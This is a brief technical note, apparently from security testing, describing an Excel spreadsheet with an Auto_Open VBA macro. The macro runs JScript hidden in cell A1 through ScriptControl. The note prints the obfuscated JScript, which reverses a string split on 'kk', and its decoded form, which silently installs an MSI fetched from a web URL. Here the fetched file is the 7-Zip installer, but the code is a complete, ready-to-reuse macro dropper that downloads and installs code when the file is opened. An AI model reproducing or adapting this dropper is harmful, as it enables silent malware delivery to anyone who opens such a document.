The file that was added to binary is the excel spreadsheet that has the macro to download 7zip. 

VBA code (in auto_open excel module)
Sub Auto_Open() With CreateObject("ScriptControl") .Language = "JScript" .AddCode (Range("A1").Value) End With EndSub
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Encoded JS Command:
eval('}kk)kk"kkikkskkmkk.kk4kk6kkxkk-kk7kk0kk1kk2kkzkk7kk/kkakk/kkgkkrkkokk.kkpkkikkzkk-kk7kk.kkwkkwkkwkk/kk/kk:kkskkpkktkktkkhkk"kk(kktkkckkukkdkkokkrkkPkklkklkkakktkkskknkkIkk;kk1kk=kklkkekkvkkekkLkkIkkUkk{kk)kk)kk"kkrkkekklkklkkakktkkskknkkIkk.kkrkkekklkklkkakktkkskknkkIkkskkwkkokkdkknkkikkWkk"kk(kktkkckkekkjkkbkkOkkXkkekkvkkikktkkckkAkk kkwkkekknkk(kkhkktkkikkw'.split('kk').reverse().join(''))

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Decoded JS Command:
with(new ActiveXObject("WindowsInstaller.Installer")){UILevel=1;InstallProduct("https://www.7-zip.org/a/7z2107-x64.msi")} 